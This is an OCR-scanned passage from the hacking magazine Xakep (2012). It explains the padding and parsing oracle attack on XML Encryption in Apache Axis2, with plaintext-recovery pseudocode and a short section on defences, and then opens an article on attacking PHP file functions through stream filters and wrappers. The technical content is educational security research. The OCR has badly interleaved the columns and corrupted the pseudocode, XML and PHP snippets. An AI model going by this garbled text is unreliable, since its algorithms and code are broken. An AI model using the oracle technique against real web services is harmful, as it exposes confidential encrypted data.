тографических алгоритмов, разработанных для произвольных ХМL-структурированных данных,- шифрования, д ешифрования и восстановления измененной части ХМL-документа- и порядок их применения. Стандарт не определяет никаки х новых криnтографи­ ческих алгоритмов, а nредписывает использовать уже существую­

щие. В случае блочных шифров стандарт не оставляет нам другого

неправильная обработка ошибок

выбора , кроме

приложениями .

зто не nринциnиально , главное- режим CBCI.

018

WЗС в

году, в настоящее время широко исnользуется в различных

AES

и ЗDES в режиме СВС. Далее я буду все оnисы­

вать на nримере шифра

AES [хотя для понимания сути уязвимости

ХАКЕР

01/156/2012


Взлом

ISJ*iiirФIId

Зашифрованный

Известно, что блоч ны й шифр nреобразует б ло к откры т о г о текста

[обыч н о дл иной

XM L En cгypt ion

16 бай т, т о ес ть 128 би т! в блок шифрованного

текст

текста. Если данны е за н имаю т больше о дн о г о б л ока, при ходится использоват ь алгоритмы, сам ы м популярным из которых на сегод­

ня является СВС. Принциn его р~боты легко понять из п ервой иллюстрации . Для первого блока откры т ого текста слу чайн о выбирается вектор

Ключ

инициализа ции IIVI, а затем над этим вектором и первым б л оком открыто г о т екста выполняется операция

XOR,

результа т которой

шифру е т ся с помощью блочно го а лг о рит ма. В качестве вектора инициализации для последующих блоков открытого текста ис­ пользуется предыд у щи й б л ок шифрованного т екста, то есть весь процесс шифрования и дешифрования о п исывается с лед ующим

Вектор инициализации

псевдокодом:

IV1[0]

// Шифрование

AES_ENC(k, IV xor М[ 0 ]); AES_ENC(k, C[i- 1] xor M[i]);

С [0]

C[ i]

//Де шифрование М[ 0 ]

M[i]

AES_DEC(k , С[~) xor IV; AES_DEC(k, C[i] ) xor C[i- 1] ;

Здесь

k-

Упрощенный вариант атаки

клю ч , С- шифр о т екс т, М- открытый текст,

догадался, ее не пр осто так ставят в один ряд с

IV-

вектор инициализации lсинхропосылкаl.

Огасlе

Attack.

BEAST

и P addiпg

В данн ом случае атака также строится на пере -

даче атакуемому серверу специально сформированных за пр осов Стандарт не только nр е дпи сывает ис п ользовать режим шиф ­

и анализе получаемых сообщений об ошибках . П ерейдем к делу .

рования СВ С. но и о пр е д е ля ет схему д о п олнения д анных до

Основной недостаток режи ма шифрования СВС сос т оит в том, что

полного блока.

изменение шифрованного текста влияет на о т крытый текст, то есть

Суть этой схемы, в которой также нет ничего сложного, такова:

если nрименить

XOR

к век т ору инициализации

IV

и пр оиз в ольной

до п олно го , а в е го п осле дний байт вписывается количество этих

Битовой маске MSK, то шифратекст IIV хо г MSK, C[DJI будет соот­ ветствовать сообщению М[О) хо г MSK. Как видишь, зависимость в

произвольн ы х з нач ен ий . Так, ес ли п ос л е дни й блок со д ержит всего

данном случае очень проста.

неполный б ло к с п омо щью произвольных значений дополняется

три байта, то мы доб авляем

12

про изволь ны х байт и оди н байт со

Dx05. Е с ли же п осле дний б л ок полон !содержит 16 байт!, ц е пля ем к нему е щ е один блок, 15 байт которого задаются

Чтобы осуществить предлагаемую атаку, нужно изме н ить

значе нием

шифрованный т екст с помощью маски

то мы

сообщение на уда ленный сервер и nр оа н ализировать сообще ни е

MSK,

передать измененное

об ошибке, которое позволяет узна ть дополнительную информа ци ю

произвольно, а 16-й имеет зна ч е н ие Ох10.

об открытом тексте . Таким образом, п о л учается этакий побочный

ОСНОВНАЯ ИДЕЯ АТАКИ

канал для получения конфиденциальной информации.

Прежде ч ем переходить к рассмотрению пра к т и ч еских случа­

ев, я о п ишу ос новн ую и д ею атаки на

XM L En cгyptioп.

Для начала давай разберемся с п ростеньким прим ерам а таки ,

Как ты уже

который показывает, как получить открытый текст зашифрован ­

но го сообщения. Атака на

XML

En cгyptioп осно в ана именно на этой

идее, которая сле г ка адаптирована к «реальному миру ».

Будем считать, что информация , ко т орую мы п ередаем, коди­

З ащифоование

Отхрытый текст

Открытый текст

Открытый текст

Вектор

руется в

ASC II . Разобьем

в сю таблицу

ASCI I на

д ве части. В первую

ча ст ь вой д ут все символы, кроме NULL !список Al, а во вт орую ­ все остальные символы !список Bl. Шифрованный текст, п о л уче н ­

инициализации

Ключ

Ключ

ный из открытого текста, символы которо г о находятся в списке В,

Ключ

будем считать «правильно сформированным>>. Таким образом, если шифратекст сформирован правильно, то наш сервер nри пар син ге

Расшифмвание

Зашифрова нн ый

Зашифрованный

текст

текст

Зашифрованный

Зашифрованный

Зашифрованный

текст

текст

текст

открытого сообщения не будет вы д авать ошибок. Ус л овимся также, что наши сообще н ия сос т оят всего лишь из одно г о блока открыто ­ го текста, т о есть из

16

байт, а удаленный сервер в отве т на наши

запросы возвращает tгue, если о т крытый текст М[О) =

AES_DEC _ CBC[k, IIV, C[OJII не со д ержит за пр етно г о символа NULL, и false - в противном слу ча е.

Ключ

Ключ

Теперь, п осылая запросы наш ему серверу, можно по байт н о вос­

Ключ

с т анавливать сообщения. Алгоритм восстановления состоит всего из тре х этапов:

1.

Вектор инициализации

Открытый текст

Открытый текст

Открытый текст

Получаемтакой новый вектор ини ци а ли за ци и

IV1, чтобы

шифр о­

ванный т екст [I V1, C[O] I был сформирован правильно. Для зто го просто случайно выбираем новый вектор инициализа ции

niV, от­ lniV, C[O]I . Е сли сер в ер в озвращаетtгuе, то в случае false п овторяем пр о ц е д уруза н ово. В своей

сы л а я на сервер п ару Режим СВС !шифрование и дешифрование!

ХАКЕР

01/156/2012

IV1

= пiV, ну а

019


COVERSTORY

НЕПОЛНЫЙ БЛОК С ПОМОЩЬЮ ПРОИЗВОЛЬНЫХ ЗНАЧЕНИЙ

WS-SECURITY WS-Security - гибкое и многофункциональное расширение SOAP, служа_щее для организации безопасного взаимодействия в веб-сервисах. WS-Secuгity активно использует XML Encгyption и XML Signatuгe.

ДОПОЛНЯЕТСЯ ДО ПОЛНОГО,

А В ЕГО ПОСЛЕДНИЙ БАЙТ ВПИСЫВАЕТСЯ КОЛИЧЕСТВО

статье авторы атаки объясняют, почему мы найдем такой вектор инициализации за

2-3 обращения к серверу,

ЭТИХ ПРОИЗВОЛЬНЬIХ ЗНАЧЕНИЙ

но, я думаю, ты и сам

уже догадался.

Побайтно восстанавливаем промежуточный открытый текст

2.

З. Так как весь промежуточный блок Х[О] восстановлен, то нам

обрати внимание на первую иллюстрацию ! . Алгоритм восстанов­

остается получить блок открытого текста М [0]. Д ля з то го мы осуществляем операцию XOR надХ[О] и вектором инициализации

ления описывается следующим псевдокодом :

IV.

[тот, который получен после AES_DEC при дешифровании, снова

Воттакой незамысловатый алгоритм действий. Вся п оследова­

msk = е repeat

тельность наглядно проиллюстрирована на втором рисунке.

XML

И

XML ENCRYPTION

ExteпsiЫe Maгkup Laпguage [или коротко

msk++ IV2 = IVl xor ( е . .. e llmsklle ... е ) 11 msk на j - й позиции

XM LI представляет собой

язык разметки для сериализации древовидных структу р . Важная особенность

XML

состоит в том, что символы<« » и«»> разрешается

использовать только для обозначения узловых злемен т ов [пodel.

until Server((IV2,

С[ е ] ))

==

Так, если текст содержит один из этих символов, то перед сериали­

true

зацией в

11

код

" запретного··

играют важную роль при атаке на

для применения криптографических примитивое [элект р онной цифровой подписи, симметричных ал г оритмов и т. д.l к прои зволь­

Iпput:

-

номер байта в блоке

ным данным в формате

XML.

Сначала разберемся с синтаксисом

Output: j-й

байт

текста Х

«&lt; » или «&gt; » соот­ «&» прим е ня ет­

«&amp; >>. Перечисленные с войс тва XML Епсгурtiоп. Консорциум WЗС выпустил рекомендации XML Sigпatuгe и WЗС XML Епсгурtiоп, что способствовало стандартизации XM L и средств

Вот что имеется у нас на входе и выходе :

С[е]),

его необходимо заменить на

ся еsсаре-последовательность

символа

XML

C=(IVl,

XML

ветственно. Точно так же для символа апмерсанда

X[j] = ASCIICode(NULL) xor IV2[j]

returп

X[j] блока промежуточ ного = AES_D EC(k, С[е])

XML

Епсгурtiоп, который

проиллюстрирован на третьем рисунке. Как видно, спе ци фикация

открытого

описывает формат метаданных, используемых при шифровании

[идентификаторы ключей, алгоритмов, схем шифрования и т. д . l . В алгоритме нет ничего сложного. Изменяя j-й байт вектора инициализации, мы наблюдаем за сооб щ ениями сервера и ждем,

пока на j-м месте в открытом тексте появится наш запретный

Наиболее важным является элемент <CipheгValue>, кото рый, соб ­ ственно, и содержит шифрованный текст. Обработка полученного шифрованного сообщения осущест­

символ. Ты спросишь меня, почему так? Отвечу: таков режим СВС .

вляется с помощью крайне простого способа. Сначала во всем

Для него справедливо следующее [опять все внимание на первую

документе проводится поиск элементов <EпcгyptedData>. Каждый

иллюстрацию!:

такой элемент содержит метаданные с информацией о ключах, ко­ торая разбирается, обрабатывается и используется для по строения

AES_DEC_CBC(k, (IV2, IV2 xo r Х[е].

С[е]))

IV2 xor AES_DEC( k,

С[е])

ключа дешифрования данных . Затем содержимое <CipheгValue> из­

влекается и разбирается для получения шифрованного текста . Дл я

<?xml version= ' 1.0 ' encoding= ' utf-8 ' ?> <Enc r yptedData Type = ' http://www.wЗ.org/2001/04/xmlEnc#Element ' xm lns = ' http://www.wЗ.org/2001/04/xmlEnc ' > <Enc r yptionMethod Algorithm = ' http://~~.w3.org/2001/04/xmlenc#aes128-cbc ' > </ Enc r yptionMethod > <Keyinf o xm lns = ' http://www.wЗ.org/2000/09/xmldsig# ' > <KeyName >Jo hn Smith</ KeyName > </ Keyinf o >l <Cipher Data > <Ciphe r Value >A123456 ... </CipherValue > </Ciphe r Data > </ Enc r yptedData > Синтаксис

020

XML Encryption

ХАК Е Р 01 / 156/ 2012


Взлом

XM L

E ncгyption

дешифрования nолученного шифротекста исnользуется алгоритм,

информация о котором содержится в элементе <EncгyptionMethod>. Особенно важный момент д ля атаки настуnает на nоследнем этаnе,

ЧТО ТАКОЕ ОРАКУЛЫ?

когда о т кр ыт ый текст nарсится и вставляется в ХМ L-докуме н т. Если во время процессадешиф р ования и разбора возникает ошиб­ ка, то она передается ХМ L-процессору, который обычно выбрасы­

вает исключение. А что еще ему остается делать?:-] Так как т ехнологию

XM L Е псгурtiоп

В современной криптографии есть направление РгоvаЫе Secuгity, которое подразумевает анализ исследуемой системы при активном

можно nрименять к nроиз­

воздействии на нее. Предполагается, что злоумышленник имеет

вольной части дерева ХМL-документа !лишь бы она имела коррект­

возможность посылать запрос и анализировать полученный ответ,

ный синтаксис

затем создавать новый запрос на основе полученной информации,

XML], то для разных тиnов контента существуют

разные режимы шифрования. Исnользуемый режим указывается

опять получать ответ и т. д. Под оракулом понимают то, что отвечает

в nоле Туре тега <EncгyptedData>. Тиn Епсгурtеd

на запросы злоумышленника !сервер, просто комп, смарт-карту,

Element означа-

ет, что дешифрованию подвергается один ХМL-элемент со всеми

СКЭИ , шифровальщик и др . ). В нашем сегодняшнем примере в

своими дочерними узлами. Тип Encгypted

качестве оракула выступает сервер с веб-сервисом, то есть мы

Content

говорит о том, что

дешифрова н ию подвергается nроизвольнее количество узловых

посылаем сервису запрос на обработку данных, а он возвращает

элементов со всеми своими дочерними элементами, комментария­

либо ошибку, либо результат обработки данных.

ми, инструкциями по обработке и т. д . Тиn Encгypted

очередь,- это фреймворк для создания веб-сервисов. Недавно

Text

Conteпt,

являющийся частным случаем тиnа Encгypted Conteпt, выделен

была новость про Paddiпg

для таких открытых текстов, которые состоят только из текстовых

выступало приложение lвеб-сервис, сайт на

данных. Таким образом, информация в nоле Туре дает нам nодсказ­

использованием

Oracle Attack,

Axis2,

в свою

где в качестве оракула

ASP.NET),

созданное с

.net.

ку об открытом тексте. Стоит отметить, что nри дешифровании этот

атрибут обычно игнорируется

XM L Fгamewoгk'oм

и не влияет на nо­

следовательность действий nри обработке шифрованного текста. Пару слов необходимо сказать и еще об одном важном момен­

те- кодировке. Стандарт вать кодировку

UTF-8,

XM L E пcгyption

nредписывает исnользо­

которая указывает битовое nредставление

из названия, отвечает за безопасность. В процессе обработки зашифрованного сообщения он сначала осуществляет процесс дешифрования, а затем парсит открытый текст с помощью парсера

и обновляет контекст SОАР-сообщения. Дешифрованный и

символов различных алфавитов, а также других сnециальных

XML

символов. Н аиболее значимая для нас груnпа символов всей

проверенный контент передается модулю

таблицы

Receiveг, каждый модуль в цепочке

UTF-8- это

символы английского алфавита, цифры, а

также спецсимволы перевода строки

lline feed ] и возврата каретки

lcaггiage геtuгп]. Важно знать, что для этой групnы символов коды

ASCII

совnа д ают с кодами

процесс обработки сообщения

Dispatch . Как и Message message flow может прервать SOAP nри возникновении ошибки,

после чего процесс обработки прекращается и пользователю сер­ виса выдается соответствующее сообщен и е.

UTF-8.

Также ты наверняка nомнишь, что код

ASCII

nредставляет

символы как одиночные байты и nозволяет закодировать

128

Теперь ты наверняка понял, к чему я все зто рассказывал и кто раз­

виновник уязвимости в

Axis2 . :-]

личных символов !смотри рисунок 4]. Замечу, что эта кодировка использует только семь из восьми бит в байте, старший бит всегда

ОШИБКИ В СИСТЕМЕ БЕЗОПАСНОСТИ В

AXIS2

В качестве оракула у нас будет выступать сервер с веб - сервисом,

равен нулю.

созданным с использованием

Axis2.

Пеначалу нам нужно понять,

какие сообщения об ошибках безопасности выдает сервер, так как тогда мы сможем отличить ответ tгue от ответа nоследние несколько лет nоявилось довольно много фрейм­ ворков для разработки веб-сервисов. Одним из самых nоnулярных

secuгity

решений в этой области является

две категории :

Apache Axis2

Fгamewoгk, модуль

Rampaгt которого содержи т реализацию стандарта WS-Secu г ity. Этот стандарт и nозволяет нам применять Signatuгe в сообщениях

XML

Encгyption и

false

нашего ораку­

ла. При возникновении ошибки безоnасности сервис передает нам

1.

fault.

Причины генерации secuгity

fault

можно разделить на

Ошибкадешифрования Такая ошибка возникает при не корректном дополнении послед­

XML

него блока. Помнишь, я говорил, что последний байт каждого

SOAP.

Чтобы этот модуль можно было исnользовать в

сообщения содержит число, равное количеству дополненных

Axis2

Fгamewoгk, он должен быть элементом nотока обработки сообще­

байтов? Так вот, этот последний байт может nринимать значения

ний

от0х01 до

lmessage flow]. Поток обработки сообщений lmessage flow]-

SОАР-сообщение !или контекст сообщения], обрабатывает его и

OxlO,

в nротивном случае мы nолучаем сообщение об

ошибке.

это цеnочка модулей, каждый из которых получает входящее

2.

Ошибкапарсинга данных

nередает следующему модулю в цеnочке. Когда SОАР-сообщение

Эта ошибка может возникнуть по двум причинам. Первая ­

достигает конца цеnочки, оно nеренаправляется в

открытый текст содержит «заnрещенные>> символы, то есть

Message

Receiveг, который, в свою очередь, вызывает функцию класса

символы с кодами

Seгvice и от n равляет результат пользователю сервиса.

ОхОА, ОхОD - пробела, конца строки и возврата каретки]. Вторая

Обычно п оток обработки сообщений в модулей: Тгапsрогt, Secuгity и

Axis2 состоит из трех Dispatch . Модуль Secuгity, как видно

ASCII от Ох ОО до Oxl F !за исключением Ох09,

причина-некорректный ХМL-синтаксис дешифрованного со­ общения, что означает появление в открытом тексте символа«& »

IOx26] или<« >> без соответствующего закрывающего символа«»> . В обоих случаях мы получаем одинаковое сообщение об ошибке и различить эти два случая между собой лишь по сообщению не

XM L SIGNATURE

можем.

Как и в nриведенном ранее простом при мере, разобьем всю

XML Signature -

сnецифика ц ия WЗС. определяющая синтаксис

нашу таблицу ASCII на две группы символов !все внимание на четвертый рисунок]. Групnа А содержит заnрещенные для формата символы nлюс два «зарезервированных>> символа<<& >> и<« >>,

и nорядок nр именения электронной цифровой nодписи и кодов

XML

аутентифика ц ии для данных в формате

ну а группа В включает в себя все остальные символы.

ХА КЕР

01/156/20 12

XML.

021


COVERSTORY Теперь все готово для построения оракула. Как и в при мере, наш оракул, то есть сервер, получает на вход один б ло к текста, зашифро­ ванного в режиме СВС, то есть 16-байтовый вектор инициализации и зашифрованный блок такого же размера, и возвращает tгue или

false.

Конечно, этот блок должен быть правильно <<обернул> в SОАР­

сообщение, но здесь мы этим пренебрегаем. Итак, оракул возвращает

tгue, если сервер в ответ на SOAP(AES_ENC_CBC[k, [IV, CIJI передает нам secuгity

fault, и возвращает false в противном случае . fault , если

Как я уже говорил, сервер не выдаст secuгity

на сто­

роне сервера сообщение имеет правильное дополнение до полного

блока, то есть открытый текст М имеет верную ХМ L- структуру :

PAD(M) ;; (IV xor AES_DEC(k,

Здесь должны выполняться следующие условия:

10

Handlers (intercepters)

С))

М, содержащий ХМL-тег<а>, обязательнодолжен содержать и

Message flow в Apache Axis2

закрывающий тег </а>. 2о

Если М содержит символ амперсанда <<&>>, то он должен служить

Зо

Алгоритм восстановления открытого текста включает в себя

<<&gt».

две процедуры. Первая [FindiVI подготавливает шифратекст к проведению атаки . Она принимает на вход С; [IV, С[1], ... , C[d]l и

М не должен содержать символы иэ определенной нами группы В.

номер блока

началом существующей еsсаре-последовательности, например

i, а возвращает <<правильно сформированныЙ>> блок

шифртек с та с новым вектором инициализации (;[iv, C[i]l. Здесь В противном случае возникает ошибка secuгity

fault,

что позво­

ляет нам использовать оракул точно так же, как и в предыдущем

более простом при мере.

ВОССТАНОВЛЕНИЕ ОТКРЫТОГО ТЕКСТА Ну вот, теперь все готово для того, чтобы описать алгоритм вос­

все практически так же, как в описанном выше просто м примере.

Вторая процедура [FindXbytel принимает на вход <<nравильно сфор­ мированныЙ>> блок шифрованного текста [полученный при помощи FindiVI и возвращает j-й байт X[i][j] промежуточного блока открыто­ го текста X[i]; AES_DEC[k, C[i]l. Используя эти процедуры , опишем в пс е вдокоде алгоритм восстановления открытого текста.

становления открытого текста из шифрованного . Этот шифрован­ ный текст может содержать Прои звольное число блоков . Мы будем

представпять его как массив C;[IV, С[1], ... , C[d]l, на первом месте

Input: (;(С[ 0 ] ; IV, Output: М;(М[ 1 ),

С[ 1 ),

о о о'

C[d))

M[d))

в котором стоит вектор инициализации . Самое время еще раз вспомнить, что в режиме СВС вектором инициализации для блока

C[i] является блок C[i-1]. Для простоты считаем, что открытый текст состоит только из

for i ; 1 to d do iv ; FindiV(C, i) for j ; 1 to 16

символов ASCII [то есть в тексте нет ни одного символа из расши­

ренной секции UTF-81. В отличие от случая, описанного в просто м

X[i)[j) ; FindXbyte(C[i), iv, j) end for X[i] (X[i)[ 1 ), ооо' X[i)[ 16 )) M[i] ; X[i] xor C[i- 1]

при мере, здесь «nравильно сформированным» шифротекетом является такой шифротекст, открытый текст которого состоит

из символов группы В и имеет однобайтнее дополнение , то есть

последний его байт равен Dx01 [это допущение введено для более простого изложения идеи атаки!.

end for return (М[ 1 ],

о о о'

M[d))

Алгоритмпрости не нуждается в подробном разъяснении. Скажу лишь только, что получить открытый текст М т аким способом

возможно благодаря режиму СВС [смотри на картинку, и в се станет

ВЕБ-СЛУЖБЫ

я��но! . Остается только рассказать тебе об устройстве дв ух загадоч­ ных функций:

Веб-служба- это метод взаимодействия между двумя

электронными устройствами через се ть передачи данны х.

ПРОЦЕДУРЫ FINDIV И FINDXBYTE FindiV чуть сложнее процед у ры из тестового nриме­

Процедура

ра, и во многом, как часто бывает в прикладной криптографии,

WЗС оnределяет web-seгvice как nрограммную систему, с nроектированную для nоддержки интероnерабельности

FindiV и FindXbyte .

machine-

эти с ложности носят переборно-технический характер. Подроб­

to-machine-взaи модейств и я . И нтероnерабельность nодразумевает

ное описание я приводить не буду, а ограничусь лишь изложени­

открытость интерфейсов и сnособность взаимодействовать с

ем идеи.

другими nр одуктами без каких-либо ограничений достуnа и

Она, собственно, состоит в том , чтобы п е ребирать некоторые байты

реализации. Зачастую интерфейсы взаимодействия оnисываются

вектора инициализации и , анализируя рез ул ьтат, решить две за­

на сnециальном я з ыке

WSDL !Web Seгvices Descгiption Languagel, в основе которого лежит XML. Веб-сервисы представляют

дачи : убрать все символы<« » из открытого текста и задать такой

собой наборы инструментов, к наиболее nоnулярным сnособам

дополнения равнялся Ох01 . В результате мы получим правильно

исnользования которых относятся

дополненный шифратекст с одним байтом дополнения, требуемый

RPC IRemote ргосеduге calls,

последний байт нового в ектора инициализации

IV, чтобы байт

основная единица взаимодействия- вызов удаленной функции

для процедуры

или метода!,

SOA !Seгvice-oгiented aгchitectuгe, основная единица взаимодействия- сообщение! и REST [Repгesentational state tгans­

щая переборно-технический характер, сводится, в свою очередь,

feгl. В nоследнем с лучае основными единицами взаимодействия

открытого текста . Она немного сложнее аналогичной упрощенной

являются оnерации тиnа

процедуры , описачной ранее, так как в данном случае <<з апрещен­

GET, POST, PUT, DELETE

тиnа НТТР, которые не n од дер живают состоя ния .

022

и т. д. в nротоколах

FindXbyte. Эта nроце д ура, во многом также имею­

к побитному восстановлению байта для блока промежуточного

ных СИМВОЛОВ» Г О f-3З Д О больше.

ХАКЕР

01 /156/2012


Взлом

Dec.

Char .

Нех

Block о

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Туре

NUL SOH STX

А

ЕТХ

А

ЕОТ

А

ENQ

А

Об

АСК

А

07 08 09

BEL BS

А

нт

в

ОА

LF VT FF CR

в

ос

OD

Нех

А А

А

А

А в

ОЕ

so

А

OF

SI

А

32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47

20 21 22 23 24 25 26 27 28 29 2А 2В

Таблица

10 11 12 13 14 15 16 17 18 19

DLE DC1 DC2

А А

А

DСЗ

А

DC4 NAK SYN

А

А А

ЕТВ

А

CAN

А

ЕМ

А

suв

А

ESC FS GS RS

А

1D 1Е

А А

А

us

1F

Туре

Dec.

Нех

А

в

!

в

"

в

#

в

$

в

%

в

&

А

'

в

( )

в

*

в

-'

2D

в в

в в

в

2F

в

1 Block 3

48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63

в

1 2 3 4 5

в

б

в

7 8 9

в

: ;

в

зв

зс

<

А

3D

=

в

ЗЕ

>

в

ЗF

?

в

ЗА

64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79

40 41 42 43 44 45 46 47 48 49

Туре

Dec.

4

в в в

в

в в

в

80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95

ф

в

А

в

в

в

с

в

D

в

Е

в

F G

в

н

в

I

в

J

в

к

в

L

в

4D

м

в

N

в

4F

о

в

50 51 52 53 54 55 56 57 58 59

96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111

в

в

Q R

в

s

в в

u

в в

w

в

х

в

у

в

БА

z

в

[

в

\

в

5D

]

в

-

5F

-

112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127

в

т

Char.

60 61 62 63 64 65 66 67 68 69

Encгyption

Туре

6

'

в

а

в

ь

в

с

в

d

в

е

в

f

в

g

в

h

в в

бВ

i j k

бС

1

в

6D

в

бЕ

m n

бF

о

бА

в в

в в

Block 7

р

v

Нех

Вlock

Block 5

о

30 31 32 33 34 35 36 37 38 39

Char.

Вlock

SPC

+

Block 1 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

Char.

Block 2

00 01 02 03 04· 05

ОБ

Dec.

О

XML

в

в

70 71 72 73 74 75 76 77

в

р

q

в

r

в

s

в

t

в

u

в

v

в

ч

в

х

в

у

в

z

в

{

в

1 }

в

78 79

-

в

7F

DEL

в

7D

в

ASCII с делением символов на группы

ВАРИАНТЫ АТАКИ

вариант тоже не идеален. Во-первых , он nерекладывает обязан­

На практике обычно всегда имеется дополнительная информация, ко­

ности по созданию системы унификации ошибок на разработчика

торая во многом облегчает жизнь криптоаналитику. В данном случае

веб-сервиса, а во-вторых, nриводит к появлению других каналов

любые дополнительные сведения об открытом тексте [его статистика,

получения информации. В криnтографии давно известен класс

структура] могут во многом помочь и сократить число запросов к

тайминг-атак, которые основаны на замерах времени, затрачи­

оракулу [удаленному серверу]. Так, например, знание

XML 5chem'ы

ваемого удаленным сервером на обработку заnроса. Пожалуй,

документа позволяет не тратить время на восстановление уже из­

самая действенная мера , которую можно предложить,- это смена

вестного открытого текста [ХМL-тегов] и сосредоточить усилия на по­

режима шифрования СВС, основанного на блочном алгоритме,

лезной информации. В то же время, если мы знаем, что в данном поле

на режим с одновременной аутентификацией [например, 150/IEC но это влечет за собой необходимость nеределывания

хранится, например, номер кредитной карты, это сильно сокращает

19772:2009],

группы разрешенных и запрещенных символов и позволяет эффек­

стандарта

тивно отсеивать при переборе ложные варианты байтов открытого

всего перевести шифрование на более низкий уровень 051 [наnри­ мер, вместо XML Encгyption использовать версию 55L/TL5, которая не nодвержена ВЕА5Т] .

текста . Интересен также тот факт, что оракул можно использовать не только для дешифр овони я, но и для шифрования произвольных

XML

Encгyption . Вообще, если есть возможность, лучше

данных с помош ыс не известн ого нам ключа. В этом случае процедуру

надо начинат ь с конца [с пои . дне го блока], а процесс шифрования будет пр охuдить «справа на еВО».

ВАРИАНТЫ ЗАЩ

ВМЕСТО ЗАКЛЮЧЕНИЯ Мне нравятся все атаки , основанные на использовании оракулов и анализе сообщений об ошибках, так как они ярко иллюстри­

~

руют ситуацию, когда разработчики берут отличные надежные

Когда речь заходит о с редствах, помогающих предотвратить

криптографические примитивы, но все равно получают

изменение шифров а нного текста, в голову прежде всего прихо­

Я уверен, что уязвимость в

дит мысль об исп о льзовании ЭЦП или аутентификации в рамках

сnисок багов, которые nозволяют nроводить атаки

стандарта

и nодобные уязвимости еще проявят себя. Надеюсь, что тебе

XML

5ignatuгe. Однако этот способ защиты отпадает как

неэффективный, nоскольку атака под названием

XML

5ignatuгe

Wгappiпg, разработанная довольно давно, nозволяет модифициро­

XML

epic fail .

Encгyption далеко не завершает

side-channel,

было интересно, а если ты хочешь обсудить какие-то моменты этой статьи, смело nиши мне на почту. Наnоследок хочу выразить

вать шифрованный текст в обход nодnиси и/или МАС . Второй оче­

благодарность Juгaj 5omoгovsky и ТiЬог Jageг, обнаружившим эту

видный nуть- унификация сообщений об ошибках, чтобы хакеры

уязвимость, за очередной интересный nример применения криn­

не могли расnознавать тиnы возникающих ошибок. Однако и этот

таанализа на практике. :Х:

ХАКЕР

01/156/2012

023


PrOxor [php.m4sqllagmail.com, rdot.org/foruml

Ба г с ключами

$ FILES не является багом самого я з ы к а, а обусловл е н негра ­ мотнонаписанными с к риптами .

Атака '-"

на ЭКСПЛУАТАЦИЯ СВЕЖИХ

УЯЗВИМОСТЕЙ В ФУНКЦИЯХ ДЛЯРАБОТЫ

С ФАЙЛАМИ ВРНР

аиль1

СТАНДАРТНЫЕ ФИЛЬТРЫ Ьil . ly/sfDcys ­ nocлeдняя версия

к ласса L ightлiлg ­

Прежде чем приступать к описанию новых векторов атак, хочу немного рассказать о фильтрах и п отоках, ко т орые поя в ились

Template.

4.3 и предоставили скриптам абстрактный слой для дост у па к файлам. Различные ресурсы в РНР [сетевые соедине­

blt.ly/tТtvWV -

ния , протоколы сжа тия и т. д . l могут ра ссма триваться как << пото­

nример использования

класса

LightningTemplate. Ьit.!y/mdrdqf ­ cтaтья, подробно рассказывающая об уязвимости File path

injection. pastebln.com/1edSuSVN - nример

еще в РН Р

ки>> данны х. Можн о по с ледовательно считывать информацию из таких потоков или записывать ее в них . П ри этом существует ряд зарегистрированных в Р Н Р фил ьт ров, с помощью которых мож н о

модифицировать дан н ые, п олучаемые из потока. Дл я того чтобы получить список имеющихся в твоей системе фильтров, достаточно выполнить такой код :

print _r(st r eam_get _fi lters());

использования

уязвимости

Ч т обы ис п ользовать фи л ьт р , его н ужно связать с пото­

File path

injection.

ком. Э т о делается с помо щ ью функ ц ии stгeam _ filter_ append/

Ьit . ly/g6ztDЗ - описание

РНР предоставляет богатые

возможности для работы

уязвимости , связанной

снеправильной обработкой ключей в

массиве

$_FILES.

с файлами . Любой веб­

':,•~qt\0~·

-____... ,.

программист сталкивался с

функциями

contents

fopen,

сору,

......,.., .L.oc...... ",....,__Pif'

~~х

file_get_

. .. ....

.....__llriWolo,..,

1....... - .

и т. д. Однако далеко не

,

lt II PHDOd( ' lllrJWII ' ) I

.

,..

'Т.. t-l&tO ftiH~ t ... t

- · tM kLU I ~>laLO""

• -ТТI. ,koll -~·-"• Т.• • С-lоно" or t llo •"""'""' ""-•1••••• : r_t...., ...,.. но" ot co••иo •Lol lotpor.,. ...,.. N-l •t•d tM-•

--.1-.....

• • n. •

••и~ r .,...

'!"lt1

-

tA8'p tr.., tor 'Dltto •-L•<••· -

<~••

t - L••• rLI• (r•.-o. • .u

8~LIUI

каждый знает о таких довольно эффективны х конструкциях , как

фильтры и потоки, в которых совсем недавно обнаружились

крайне серьезные баги .

На нашем диске ты с м о ж ешь

' I - - - 1 8UI--Oil

найти nодробное обучающее видео ко

cL-

: , ·-~·lojlaiJ IIIpЬЬ_t_I...., _II Иi r c •t•lld.o• ..._...,r_Hiter

всем описанным в ст а ть е nримерам .

Самполисный фильтр в девелоперекой версии форума рhрВВЗ

ХАКЕР

01 / 156/2012


Атака на файлы

stгeam_filteг_pгepend или же с nомощью враnпера php://f ilteг. Первый способ предоставляет больше возможностей для работы с фильтрами, но второй более компактен, что тоже обеспечивает определенные преимущества. Вот один пример использования фильтров для кодирования строки:

$fp = fopen( 'php :// output ' , stream_filter_append($fp,

i f ($closi ng) { $consumed += strlen($this->_data); $str = nl2br($this->_data); $this->bucket->data = $str; $this->bucket->datalen = strlen($this->_data);

' w' );

i

'convert . quoted-printaЫe-encode ' );

fwrite($fp, "I \ v Love \ v PHP .\n" ); А вот пример однострочного скрипта, который получает данные

методом POST, кодирует их в Base64 и выводит обратно:

readfile( "php: //filter / read=convert . base64-encode/ resource=php: // input" );

Secure [9ist.github.com/600388/cd99ae03c3

<head> <meta cha~set= "utf-8" /> <tit1e>{{ tit1e }}</ tit1e> </head> <bodY> <h1>{{ tit1e }}</h1> < р > Не11о {{ name }} </ р> 1С

< р> {{

meззagelзafe

}} < / р>

< h2 > Iteiilз </ h2 >

В ообще, РНР позволяет осуществлять подстановку одного

<u1> {% fo~ ite!il in ite!ilз %} {% i f ite!il %} <1i>{{ ite!il }}</1i> {% endif %} {% endfo~ %} </u1> </bodY> </htm1>

враппера в другой, что помогает очень сильно сократить код. На­ пример, соединение с удаленным ftр-сервером, скачивание с него

gz-архива, распаковк у этого архива и сохранение его у себя на веб­ се рвере можно закодить всего в одной строке :

